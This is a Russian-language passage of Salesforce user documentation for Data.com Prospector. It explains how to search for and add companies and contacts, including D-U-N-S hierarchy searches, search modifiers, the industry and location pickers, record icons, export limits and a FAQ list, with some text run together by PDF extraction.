ПОЛЬЗОВАТЕЛЯ

Для добавления
организаций из Data.com:
• «Создание» для

организаций

Если используется продукт Data.com Premium Prospector, он очень удобен для поиска
организаций, входящих в иерархию существующих организаций. Достаточно просто
выполнить поиск по номеру D-U-N-S глобального головного подразделения из записи
компании D&B. Вы увидите остальные компании в пределах одной корпоративной
структуры и сможете добавить эти компании в Salesforce в качестве новых организаций.

Глобальноеголовноеподразделение — этосамая главнаякомпанияорганизации, которая
обозначается девятизначным номером D-U-N-S глобального головного подразделения.
Все компании, относящиеся к корпоративной структуре глобального головного
подразделения, обозначаются тем же номером D-U-N-S.

Прим.: Прежде чем выполнить поиск по номеру D-U-N-S глобального головного
подразделения, добавьтекнопку «Поиск номера D-U-N-S глобального головного
подразделения» в макет страницы компаний D&B.

1. Чтобыпросмотретьорганизации, использующиетакойженомер D-U-N-S глобального
головного подразделения, откройте страницу сведений о нужной компании D&B.

2. Нажмитекнопку«Поискномера D-U-N-S глобальногоголовногоподразделения».
При этом откроется вкладка Data.com, содержащая список организаций, которые
соответствуют номеру D-U-N-S, указанному в записи компании D&B.

3. Чтобы отсортировать длинный список результатов, воспользуйтесь любым
заголовком таблицы. Например, заголовок «Тип расположения» сортирует
результаты по значениям «Головной офис», «Один офис» и «Филиал».

4. Чтобы уточнить результаты поиска, воспользуйтесь фильтрами.

5. Чтобы открыть бизнес-карточку организации для просмотра дополнительной
информации (например, местоположение организации), щелкните имя нужной
организации.

6. Добавьте все или только выбранные организации в систему Salesforce.

7. Чтобы просмотреть список новых записей на начальной странице организаций,
щелкните «Перейти к организациям» в сообщении-подтверждении.

Ниже перечислены некоторые рекомендации для поиска по номеру D-U-N-S глобального головного подразделения.

• Результаты поиска по номеру D-U-N-S глобального головного подразделения содержаттолько организацииData.com;
еслиData.comне содержитнекоторых участников корпоративнойструктуры, торезультатыпоискапономеру D-U-N-S
могут быть неполными.

• Чтобы уточнить результаты поиска по номеру D-U-N-S глобального головного подразделения, воспользуйтесь
фильтрами.

• При необходимости выполните экспорт записей из результатов поиска по номеру D-U-N-S глобального головного
подразделения.

• Поиск не может быть сохранен.

СМ. ТАКЖЕ:

Быстрый поиск организаций прямо из Salesforce
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Рекомендации по добавлению организаций из одной иерархии компаний в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Функция Иерархия компаний Data.com выполняет поиск записей компании Dunn &
Bradstreet в Data.com и отображает связи компаний в иерархическом виде. В иерархии
компанийможнодобавлять записиорганизацийв систему Salesforce. Нижеперечислены
некоторые рекомендации по добавлению записей Data.com в систему Salesforce через
иерархию компаний.

• Зеленая точка ( ) отображается в результатах поиска напротив записей, которые
уже хранятся в системе Salesforce. Данные записи могут быть добавлены повторно
тольковслучаеихудаленияизсистемыSalesforceиливключенияподдержкиповторов.

Совет: Чтобы открыть страницу записи, которая уже хранится в системе
Salesforce, наведите указатель мыши на зеленую точку и щелкните
соответствующую ссылку.

• Записи из иерархии компаний можно добавлять только по одной.

• Записи считаютсяповторамиприиспользованииодинакового кодаData.com в поле
«Ключ Data.com». Запись, добавленная в качестве повтора, не учитывается в
общем числе добавленных записей.

• Еслидобавить запись в систему Salesforceневозможноиз-за ошибок, пользовательполучает уведомление, содержащее
CSV-файл со сведениями об ошибках.

Рекомендации по поиску организаций, контактов и интересов в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ознакомьтесь с некоторыми рекомендациями по поиску новых компаний и контактов
при помощи Data.com Prospector.

• Зеленая точка ( ) отображается в результатах поиска напротив записей, которые
уже хранятся в системе Salesforce. Данные записи могут быть добавлены повторно
тольковслучаеихудаленияизсистемыSalesforceиливключенияподдержкиповторов.

Совет: Чтобы открыть страницу записи, которая уже хранится в системе
Salesforce, наведите указатель мыши на зеленую точку и щелкните
соответствующую ссылку.

• Синяя галочка ( ) отображается в результатах поиска напротив записей, которые
ужеприобретены (добавленыилиэкспортированы) изData.com. Каждаядобавленная
запись контакта или организации Data.com учитывается остатком дополнительных
записей. Остатокдополнительныхзаписейнеучитываетдобавленныезаписи, которые
уже экспортированы из Data.com.

• Если количество записей, выбранных для добавления, превышает остаток
дополнительных записей, то пользователю будет отправлено соответствующее уведомление. Пользователь может
продолжить добавление записей, количество которыхбудет определяться текущимостаткомидругимипараметрами
организации.

• Независимо от ограничения на добавление записей или остатка дополнительных записей, одновременно можно
выбирать вручную не более 1 000 записей.

• Независимо от ограничения на добавление записей или остатка дополнительных записей, одновременно можно
добавлять не более 100 000 записей.
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• Записи считаются повторами при использовании одинакового кода Data.com в поле «Ключ Data.com». Сюда
относятся записи, добавленныеизData.com в качестве контактовиинтересов. Запись, добавленная в качествеповтора,
не учитывается остатком дополнительных записей.

• Если как минимум одна запись не может быть добавлена в систему Salesforce из-за ошибок, то пользователь получает
электронное уведомление, содержащее CSV-файл со сведениями об ошибках.

• Если поиск возвращает большое количество результатов, то отображаются только первые 10 страниц. При
необходимостиуточнитеобластьпоиска дляотображениянужныхрезультатов. См. раздел «Какпросмотретьполные
сведения для результатов поиска Data.com?».

Сужение результатов поиска потенциальных клиентов до интересующей группы
ЛицензияData.com Prospector позволяет использовать поля поиска и модификаторы, чтобы искать включать в поиск
толькоинтересующиекомпании, отраслииместоположения. Благодаряимможнолегко сохранятьнастройкипоиска.

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях
Ниже перечислены некоторые рекомендации по экспорту записей из Data.com.

Использование Data.com. Вопросы и ответы
Данный раздел содержит ответы на некоторые типичные вопросы пользователей о продукте Data.com.

СМ. ТАКЖЕ:

Поиск новых компаний, контактов и интересов непосредственно в Salesforce

Значки записей в результатах поиска Data.com

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях

Ограничения на поиск новых компаний, контактов и интересов в Salesforce

Сужение результатов поиска потенциальных клиентов до интересующей группы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Лицензия Data.com Prospector позволяет использовать поля поиска и модификаторы,
чтобы искать включать в поиск только интересующие компании, отрасли и
местоположения. Благодаря им можно легко сохранять настройки поиска.

Общие сведения о поисках Data.com

Данный раздел содержит алгоритмы поиска Data.com, обрабатываемые поля и
рекомендациипоуточнениюрезультатовпоискапосредствомфильтровикритериев,
позволяющих быстро находить наиболее ценные записи.

Общие сведения о модификаторах поиска Data.com

Чтобы уточнить результаты поиска по организациям и контактам Data.com,
воспользуйтесь модификаторами поиска. Ниже описан принцип работы
модификаторов поиска.

Как определяется поле «Отрасль» для записей Data.com?

Мы используем основной код SIC для определения значения поля «Отрасль» в
бизнес-карточках и записях организацийData.com. Используя только основной код SIC для соотнесения отраслей, мы
можем заполнять поле «Отрасль» более точными значениями, что, в свою очередь, повышает качество результатов
поиска, независимо от системы классификации отраслей, выбранной в поисковом запросе.
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Панель выбора отрасли Data.com

При поиске организаций и контактов Data.com рекомендуем использовать панель выбора отрасли, позволяющую
добавлять нужные отрасли и подотрасли в качестве критериев поиска.

Поля панели выбора расположения Data.com

ПрипоискеорганизацийиконтактовData.comрекомендуемиспользоватьпанельвыборарасположениядлядобавления
нужного расположения в качестве критерия поискового запроса.

Значки записей в результатах поиска Data.com

Нижеперечисленызначки, которыемогутотображатьсяврезультатахпоисканапротивнайденныхзаписейорганизаций
или контактов Data.com.

Общие сведенияопоисках Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Данный раздел содержит алгоритмы поиска Data.com, обрабатываемые поля и
рекомендации по уточнению результатов поиска посредством фильтров и критериев,
позволяющих быстро находить наиболее ценные записи.

Поиск записей CRM в Data.com крайне прост и удобен. Чтобы начать поиск, введите
критерии поиска в поля на вкладке Data.com. Чтобы уточнить результаты поиска,
воспользуйтесь модификаторами поиска. В результате поиска может быть найдено
очень большое количество контактов или организаций. Точное число найденных
записей отображается в верхней и нижней частях списка. Чтобы удалить все введенные
и выбранные критерии поиска, щелкните «Сбросить поиск». Результаты поиска
отображаютсядо техпор, поканебудет выполненновыйпоискилиобновлена страница
обозревателя.

РезультатыпоискапоорганизациямData.comопираютсянаназваниекомпании, веб-сайт
родительскойкомпанииивеб-сайтыфилиаловродительскойкомпании (приихналичии),
поэтому могут содержать компании, которые фактически не соответствуют критериям
поиска. Например, чтобы найти компанию Sun Microsystems, введите поисковый запрос
Sun Microsystems или sun.com в поле «Компания или веб-сайт». При этом результаты поиска отображают
компанию Oracle Corporation, являющуюся родительской для компании Sun Microsystems.

Кроме того, поиски по организациям опираются на поля «Имя организации» и «Торговый стиль». Например, чтобы
найти организацию United Parcel Services, введите ее торговый стиль (UPS). При этом результаты поиска отображают
запись United Parcel Services, Inc..

Чтобы уменьшить количество результатов, задайте критерии фильтрации. При необходимости установите флажки
напротив нужных критериевфильтрации, отображающихся в левой части страницы. Доступные критериифильтрации
определяютсярезультатамипоиска. Например, привыбореотрасли «Здравоохранение, фармацевтика и биотехнологии»
и подотрасли «Практикующие врачи» могут отображаться следующие критерии в категории «Должность»: «Врач»,
«Мануальный терапевт», «Стоматолог» и «Офис-менеджер». Если в результате поиска найдено большое количество
записей, доступных для фильтрации по критериям «Должность», «Название компании» и «Тип веб-домена», то
отображаются 25 фильтров с наибольшим количеством результатов. Чтобы ограничить список фильтров, измените
исходные критерии поиска.

Привыполнениипоисканекоторыекатегориифильтрациираскрываютсяавтоматически. Чтобысвернутьилиразвернуть
все категории, щелкните соответствующую ссылку в верхней части панели «Фильтры». Результаты поиска обновляются
автоматически по мере выбора фильтров.

Например, припоиске контактовна страницесведенийоборганизации IBM открывается вкладкаData.comиавтоматически
добавляется URL-адрес компании IBM (www.ibm.com) в поле «Компания или веб-сайт» на вложенной вкладке «Поиск
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контактов». Врезультатепоискаотображаетсядлинныйсписокконтактов IBM повсемумиру. Чтобыограничитьколичество
найденных записей, выполните указанные ниже действия.

• Укажите координаты (например, «Австралия» или «США») или отрасль (например, «Компьютеры и электроника»
или «Финансовые услуги»).

• Чтобыуточнитьрезультатыпоиска, задайтекритериифильтрации, например, «Отдел кадров», «Уровень ген. директора»
или «Менеджер проекта».

• Установите флажок «IBM» в разделе «Название компании».

Критерии поиска и фильтрации позволяют значительно сократить количество найденных записей — с нескольких
тысячдонесколькихединиц. Все, чтоостанется сделатьпользователю, — этосвязаться снужнымиконтактамипотелефону
или эл. почте.

СМ. ТАКЖЕ:

Общие сведения о модификаторах поиска Data.com

Общие сведенияомодификаторахпоиска Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска организаций
Data.com:
• Специальные

полномочия не
требуются

Для поиска контактов
Data.com:
• Специальные

полномочия не
требуются

Чтобы уточнить результаты поиска по организациям и контактам Data.com,
воспользуйтесьмодификаторамипоиска. Нижеописанпринципработымодификаторов
поиска.

Компания или веб-сайт

• Чтобы выполнить поиск по нескольким компаниям, воспользуйтесь запятыми: ,.
Например, в результате поиска по критерию salesforce.com,Apple
отображаются записи, содержащиеобаназвания «salesforce.com» и «Apple» (например,
Apple Computer, Inc. и Apple Inc.), или одно из двух названий, в зависимости от данных
Data.com.

• Чтобывыполнитьточныйпоискпоназваниюкомпании, воспользуйтеськавычками:
“ ”. Например, в результате поиска по критерию "Apple, Inc." отображаются
только те записи, которые содержат точное название «Apple, Inc.».

• Чтобы исключить компанию из результатов поиска, добавьте перед ее названием
символ «минус»: –. Например, в результате поиска по критерию –Oracle
отображаются записи, в которых отсутствует компания Oracle. Если название
компаниисостоитизнесколькихслов, топосле символа «минус» необходимоуказать
первую часть названия. Например, в результате поиска по критерию –Adobe
отображаются записи, в которых отсутствует компания Adobe Systems.

• Кроме того, модификаторыпоискамогутиспользоватьсяодновременно. Например,
в результате поиска по критерию salesforce, –Microsoft, “GE
Healthcare” отображаются записи, содержащиеназвание «salesforce» (например,
salesforce и salesforce.com, inc.); не отображаются записи, содержащие название
«Microsoft»; и отображаются записи, содержащие точное название «GE Healthcare».

Должность

• Чтобы исключить должность, добавьте перед должностью символ «минус»: –.
Например: –покупатель.

• Чтобы выполнить точный поиск по должностям, воспользуйтесь кавычками: “ ”.
Например: “Исполнительный директор”.
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• Чтобы выполнить поиск по нескольким должностям, воспользуйтесь запятыми: ,. Например: генеральный
директор,–Вице-президент,“Исполнительный директор”.

Имя или адрес эл. почты

• Чтобывыполнитьпоиск толькопоодному элементу данногополя (например, толькопоимениили адресу эл. почты),
введите нужный элементи двоеточие (:), затем вставьте пробели введите искомоеимяили адрес эл. почты. Например,
в результате поиска по критерию имя: Петр Иванов отображаются записи, содержащие только имя Петр Иванов.
Врезультате поиска по критерию адрес эл. почты: pivanov@kompaniya.ru отображаются записи, содержащие
только адрес эл. почты pivanov@kompaniya.ru.

• Модификаторыдействуют только приналичии элемента «имя: » или «адрес эл. почты: ». Этимодификаторынемогут
использоваться одновременно (например, нельзя одновременно использовать модификаторы «имя: » и «адрес эл.
почты: »).

• Чтобы выполнить поиск по нескольким именам или адресам эл. почты, воспользуйтесь запятыми: ,.

• Чтобы выполнить точный поиск по должностям, именам или адресам эл. почты, воспользуйтесь кавычками: “ ”.

• Чтобы исключить должность, имя или адрес эл. почты из результатов поиска, добавьте перед элементом символ
«минус»: –.

Расположение | Город

• Чтобы выполнить поиск по нескольким городам, воспользуйтесь запятыми: ,. Например, в результате поиска по
критерию Сан-Франциско, Сан-Хосе отображаются записи, содержащиеоба городаилиодиниз городов, в зависимости
от данных Data.com.

• Чтобы выполнить точный поиск по городам, воспользуйтесь кавычками: “ ”. Например, в результате поиска по
критерию “Сан-Франциско” не отображаются записи, содержащиеЮжныйСан-Франциско. Аналогичным образом,
в результате поиска по критерию “Южный Сан-Франциско” не отображаются записи, содержащие Сан-Франциско.

Расположение | Почтовый индекс

• Чтобы выполнить поиск по нескольким почтовым индексам, воспользуйтесь запятыми: ,. Например, в результате
поиска по критерию 94105,94122 отображаются записи, содержащие оба индекса 94105 и 94122, или одиниз двух
индексов, в зависимости от данных Data.com.

• Чтобы исключить почтовый индекс из результатов поиска, добавьте перед индексом символ «минус»: –. Например,
в результате поиска по критерию -94122 отображаются записи, в которых отсутствует индекс 94122.

Расположение | Код района

• Чтобы выполнить поиск по нескольким кодам района, воспользуйтесь запятыми: ,. Например, в результате поиска
по критерию 312,708 отображаются записи, содержащие оба индекса 312 и 708, или один из двух индексов, в
зависимости от данных Data.com.

• Чтобы исключить код района из результатов поиска, добавьте перед кодом района символ «минус»: –. Например, в
результате поиска по критерию -708 отображаются записи, в которых отсутствует индекс 708.

• Чтобынайтикодырайонов, расположенныхзапределамиСШАиКанады, добавьте телефонныйкодстранывкачестве
префикса. Например, телефонный код Великобритании — 44, а Лондона — 20, соответственно, чтобы найти
организации или контакты в Лондоне по коду района, введите значение 4420 в поле «Код района».

СМ. ТАКЖЕ:

Общие сведения о поисках Data.com

Поля панели выбора расположения Data.com
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Какопределяетсяполе «Отрасль» для записей Data.com?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Мы используем основной код SIC для определения значения поля «Отрасль» в
бизнес-карточках и записях организаций Data.com. Используя только основной код SIC
для соотнесения отраслей, мы можем заполнять поле «Отрасль» более точными
значениями, что, в свою очередь, повышает качество результатов поиска, независимо
от системы классификации отраслей, выбранной в поисковом запросе.

Значение «Data.com: Jigsaw» дляполя «Источник» бизнес-карточкиорганизации
отображается ограниченным количеством организацийData.com. Данные организации
не содержат кода SIC, поэтому значение поля «Отрасль» определяется посредством
другой системы. Дополнительнуюинформациюможно получить в службе поддержки
Salesforce.

Пример: Например, пользователь выполняет поиск организаций Data.com,
содержащих отрасль SIC со значением «Периферийное оборудование», которое
соотноситсясотрасльюData.com «Электроника». РезультатыпоискаData.comбудут
содержать все организации со значением «Электроника» в поле«Отрасль». При
выборе отрасли системы классификации «Категории отраслей Data.com»
«Компьютеры и электроника», котораятакжесоотноситсясотраслью «Электроника»,
результатыпоискабудутвновьсодержатьвсеорганизации, поле «Отрасль» которых
содержит значение «Электроника».

Панель выбора отрасли Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПрипоискеорганизацийиконтактовData.comрекомендуемиспользоватьпанельвыбора
отрасли, позволяющую добавлять нужные отрасли и подотрасли в качестве критериев
поиска.

Принцип работы описан ниже.
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1. Выберите систему классификации отраслей, используемую в организации.

• «NAICS»  (Система классификации отраслей Северной Америки). Данная система используется в
правительственных и деловых кругах для классификации коммерческих предприятий Северной Америки по
видам экономической деятельности. Система насчитывает 20 отраслей, каждая из которых содержит несколько
уровней подотраслей. Отрасли и подотрасли обозначаются числовым кодом (не более 6 цифр).

• «SIC»  (Стандартная промышленная классификация). Данная система используется правительством США для
классификации коммерческих предприятий по видам экономической деятельности. Система насчитывает
10 отраслей, каждая из которых содержит несколько уровней подотраслей. Отрасли и подотрасли обозначаются
числовым кодом (не более 4 цифр).

• «Категории отраслей Data.com». СистемаData.comиспользуетсядля классификациикоммерческихпредприятий
по отраслям и подотраслям.

Принеобходимостиможновыбрать другуюсистему классификацииотраслей (помните, что все выбранные значения
будут сброшены).

2. Чтобы просмотреть и добавить отрасли и их подотрасли в качестве критериев поиска, воспользуйтесь панелями
выбора. Данные панели также содержат числовой код отрасли в классификации (при его наличии). При наведении
указателя мыши на имя отрасли отображаются два варианта.

• Чтобы просмотреть подотрасли (при их наличии), щелкните имя нужной отрасли. При наличии доступных

подотраслей справа от имени отрасли отображается стрелка .

• Чтобы добавить отрасль (включая все подотрасли) в область «Категории для поиска» («Категории»), щелкните
«Добавить».

Имя отрасли, выбранное на правой панели, перемещается на левую панель, а на правой панели отображаются ее
подотрасли. Принеобходимостиможетепродолжитьперемещениепоуровнямотраслевойклассификации, постепенно

добавляялюбыенужныеотраслииподотрасли. Кружок , отображающийсясправаотимениподотрасли, указывает
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на достижение последнего доступного уровня. Отрасль, добавленная в критерии поиска, отображается в области
«Категории», а все ее подотрасли добавляются автоматически. Кроме того, напротив ее имени должна отображаться

жирная зеленая галочка . Однако в области «Категории» отображается только отрасль.

Чтобы удалить отрасли из области «Категории», наведите указатель мышина имя нужной отрасли и нажмите кнопку

. Отрасль, подотрасли которой удалены на панели выбора, удаляется из области «Категории», а вместо нее
отображаютсяоставшиесяподотрасли. (Вэтомслучаенапротивимениотраслиотображается контур зеленой галочки

.) Помните, чтопривыборенекоторых (ноневсех) подотраслейвнутриотдельнойотрасли, количествовыбранных
значений в области «Категории» увеличивается.

3. Чтобы контролировать свое местоположение на уровнях отраслевой классификации, рекомендуем использовать
навигационныессылки вверху страницы. Чтобывернуться кнужному уровнюотраслевойклассификациинапанелях
выбора, щелкните соответствующую ссылку.

4. Чтобы вернуться на один уровень выше, щелкните стрелку «Назад».

5. Всеотраслииподотрасли, добавленныев критериипоиска, отображаются вобласти «Категориидляпоиска». Чтобы

удалить отдельную отрасль или подотрасль, щелкните напротив нужного имени. Чтобы удалить все выбранные
значения, щелкните «Очистить все».

6. В качестве критериев поиска может быть добавлено ограниченное количество отраслей и подотраслей. Чтобы
продолжитьпоисквслучаепревышениязаданногоограничения, рекомендуемудалитьнекоторыевыбранныезначения.

7. Если область «Категориидляпоиска» содержит большое количество отраслей, то полный список отраслейможно
просмотреть с помощью стрелки.

Ниже приведен пример использования панели выбора отрасли. Допустим, требуется найти компании, занимающиеся
производствомкомпьютеров. Выберитеклассификацию NAICS иотрасль«Производство», котораясодержитподотрасли
«Производство продуктов питания», «Производство машинного оборудования» и т. д. Найдите подотрасль
«Производство компьютеров и электронных приборов» (выбранная отрасль перемещается на левую панель, а на
правой панели отображаются ее подотрасли). Переходите на следующие уровни отраслевой классификации до тех пор,
поканенайдетенужнуюкатегорию: «Производствокомпьютеровипериферийногооборудования». Чтобыдобавить
две подотрасли («Производство электронных вычислительных машин» и «Производство запоминающих
устройств») в область «Категории для поиска», щелкните «Добавить». Выбранные подотрасли останутся в области
«Категории» даже при переходе на другие уровни классификации и добавлении других отраслей. По завершении
просмотрите выбранныекатегорииинажмите кнопку «Готово», чтобывернутьсяна вкладкуData.comивыполнитьпоиск.

СМ. ТАКЖЕ:

Общие сведения о поисках Data.com
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Поляпанели выборарасположения Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПрипоискеорганизацийиконтактовData.comрекомендуемиспользоватьпанельвыбора
расположения для добавления нужного расположения в качестве критерия поискового
запроса.

Ниже перечислены поля, доступные на панели выбора расположения.

ОпределениеПоле

Как минимум одна страна для поиска
организаций или контактов. Поиски
организацийохватывают более 200 стран.
Поиски контактов охватывают
ограниченное количество стран. Чтобы
найти нужную страну в списке, введите
первые буквы ее названия.

Страна

Как минимум одна область для поиска
организаций или контактов. Кроме того,

Область

данноеполе содержитокруги, провинции
и прочие обособленные географические
регионы. Рекомендуем сначала выбрать
однустрану. Областидоступнытолькодля
некоторых стран. Чтобы найти нужную
область в списке, введите первые буквы ее
названия.

Как минимум один город для поиска
организацийили контактов. Рекомендуем

Город

сначала выбрать одну страну. Если
выбранная страна поддерживает области,
то диапазон поиска по городу может быть
ограничен всеми или только одной
доступной областью.

Как минимум один район для поиска
организаций или контактов. Районы (или

Район

городские статические зоны) доступны
только для США. Диапазон поиска по
районунеможетбытьограничен городом
илиобластью. Чтобынайтинужныйрайон
в списке, введите первые буквы его
названия.

Как минимум один почтовый индекс для
поиска организаций или контактов.

Почтовый индекс

Как минимум один код района для поиска
организаций или контактов.

Чтобы найти коды районов,
расположенных за пределами США и

Код района

Канады, добавьте телефонныйкод страны
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ОпределениеПоле

в качестве префикса. Например, телефонный код
Великобритании — 44, аЛондона — 20, соответственно,
чтобынайтиорганизациииликонтактывЛондонепокоду
района, введите значение 4420 в поле «Код района».

Совет: При использовании телефонного кода
страны рекомендуем выбрать саму страну. Данное
действие гарантирует отображение только точных
результатов.

СМ. ТАКЖЕ:

Быстрый поиск организаций прямо из Salesforce

Быстрый поиск контактов прямо из Salesforce

Значки записей врезультатахпоиска Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Нижеперечислены значки, которыемогут отображаться в результатахпоиска напротив
найденных записей организаций или контактов Data.com.

РекомендацииОпределениеЗначок

Запись уже хранится в системе
Salesforce. Чтобыоткрыть страницу
записиSalesforce, наведитеуказатель
мыши на данный значок и
щелкните соответствующую
ссылку. Запись, которая уже
хранится в системе Salesforce,
соответствуетодномуиз указанных
ниже условий.

Уже в
Salesforce

• Запись, добавленная ранее,
можетбыть экспортированабез
изменения ограничения на
добавление.

• Запись, добавленная ранее,
может быть добавлена только
после включения поддержки
повторов. Добавление
повторяющейся записи не
учитывается ограничением на
добавление.

• Запись добавлена в систему
Salesforce со вкладки Data.com.
Данная запись была

• Запись, добавленная другим
пользователем и недоступнаяприобретена в Data.com и

учитывается ограничением на
добавление.

дляпросмотра, неподдерживает
связывание из результатов

• Запись создана в системе
Salesforce вручную и

поиска Data.com. Тем не менее,
еслиорганизацияподдерживает

сопоставлена с записью повторы, то запись может быть
Data.com. Запись не была
приобретена в Data.com.

добавлена повторно для
предоставления доступа
пользователю. Повторное
добавление записи не
учитывается ограничением на
добавление.
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РекомендацииОпределениеЗначок

Запись уже приобретена в Data.com. Запись,
котораяужеприобретенавData.com, соответствует
одному из указанных ниже условий.

Уже
приобретено

• Запись, добавленная ранее, может быть
экспортирована без изменения ограничения
на добавление.

• Запись добавлена в систему Salesforce со
вкладки Data.com. Данная запись была

• Запись, экспортированная ранее, может быть
добавлена без изменения ограничения на
добавление.приобретена в Data.com и учитывается

ограничением на добавление.
• Запись, добавленная ранее, может быть

добавленатолькопослевключенияподдержки• Запись экспортирована из Data.com. Данная
запись была приобретена в Data.com и
учитывается ограничением на добавление.

повторов. Повторное добавление записи не
учитывается ограничением на добавление.

Запись Data.com, соответствующая записи
Salesforce, заявлена как неактивная сотрудником

Неактивно

Data.com или пользователем организации.
Неактивной считается запись контакта,
содержащая устаревшую или неверную
информацию. Неактивной считается запись
организации, помеченная сотрудником D&B как
банкрот.По умолчанию неактивные записи не
отображаются, но могут быть просмотрены
посредством фильтров.

СМ. ТАКЖЕ:

Быстрый поиск организаций прямо из Salesforce

Быстрый поиск интересующихся клиентов прямо из Salesforce

Поиск ключевых контактов среди ваших организаций

Быстрый поиск контактов прямо из Salesforce

Рекомендации по поиску компаний и контактов для последующего использования в других приложениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены некоторые рекомендации по экспорту записей из Data.com.

• Зеленая точка ( ) отображается в результатах поиска напротив записей, которые
ужехранятсяв системеSalesforce. Синяя галочка ( ) отображается врезультатахпоиска
напротив записей, которые уже приобретены любым пользователемData.com организации.
Записи обоих типов считаются уже принадлежащими организации.

• Если количество записей, выбранных для экспорта, превышает остаток
дополнительных записей, то пользователю будет отправлено соответствующее
уведомление. Просмотрите сообщение-подтверждение экспорта и при
необходимости выполните одно из доступных действий: добавьте приобретенные ( )
и новые записи; либо исключите все выбранные записи, которые уже принадлежат организации
( или ) и выполните экспорт только новых записей. Просто выберите
соответствующий параметр в сообщении-подтверждении экспорта.
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• Если экспорт контактов или организаций Data.com используется вместо добавления записей в систему Salesforce, то
каждая экспортированная запись учитывается остатком дополнительных записей. При экспорте записей, которые
уже добавлены в систему Salesforce, или повторном экспорте записей экспортированные записи не учитываются
остатком дополнительных записей.

• При экспорте группы контактов Data.com данные контакты могут быть добавлены в систему Salesforce в качестве
контактов или интересов без изменения остатка дополнительных записей.

• Независимоотограничениянадобавлениеилиоставшегосяколичествазаписей, одновременноможноэкспортировать
неболее 100 000 записей. Записибудут экспортированыпакетами (по 50 000). Записи, экспортируемыедвумяпакетами,
будут отправлены в виде архивного файла.

• Еслиорганизацияиспользуетпараметрысокрытия контактныхданных, то записиконтактов, для которыхустановлен
флажок «Не звонить» или «Без рассылки по эл. почте», содержат пустое поле «Телефон» или «Эл. почта»
в CSV-файлах.

• Если CSV-файл не содержит числовых значений (например, номера телефонов), рекомендуем назначить столбцу
CSV-файла общий или текстовый формат, либо открытьфайл посредством текстового редактора (например, WordPad).

Экспортированные записи могут быть импортированы в систему Salesforce посредством приложения Data Loader. Если
настройкиData.com запрещаютиспользованиеповторяющихсязаписей, топроцессимпортапроверяет записинаналичие
повторов по коду Data.com в поле «Ключ Data.com».

Ниже перечислены записи, которые не импортируются посредством приложения Data Loader.

• Любая запись, кодData.com которой (вполе «Ключ Data.com») совпадает с кодомдругой записи, доступнойвнутри
CSV-файла.

• Любая запись, код Data.com которой (в поле «Ключ Data.com») совпадает с кодом записи, которая уже добавлена
в систему Salesforce.

СМ. ТАКЖЕ:

Получение данных по компаниям для использования в других приложениях

Поиск данных по контактам и данным интересов для последующего использования в других приложениях
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Использование Data.com. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Данный раздел содержит ответы на некоторые типичные вопросы пользователей о
продукте Data.com.

Как просмотреть полные сведения для результатов поиска Data.com?

Каким типом пользователя Data.com я являюсь?

Как улучшить результаты поиска по Data.com?

Почему результаты поиска Data.com отображают компании, которые отсутствуют в
поисковом запросе?

Какое количество записей Data.com можно добавить в систему Salesforce?

Как определить поля, содержащие данные Data.com, при добавлении записей CRM
из Data.com?

Что определяет значение поля «Местоположение организации» в записи
организации?

Почему поле «Собственность» содержит значение «Личная» для публичных
компаний?

Значения полей «Сотрудники» и «Контакты» в записи организации не совпадают.
Почему?

При использовании Data.com поля «Сотрудники» и «Доход» содержат пустое или
нулевое значение. Почему?

Почему поля «Годовой доход» и «Количество сотрудников» некоторых интересов содержат пустое или нулевое
значение после применения функции автоматического заполнения полей Data.com Clean?

Фильтр «Сотрудники» или «Доход», используемыйдля уточнениярезультатовпоискапоорганизациямиликонтактам,
возвращает значительно меньшее количество записей. Почему?

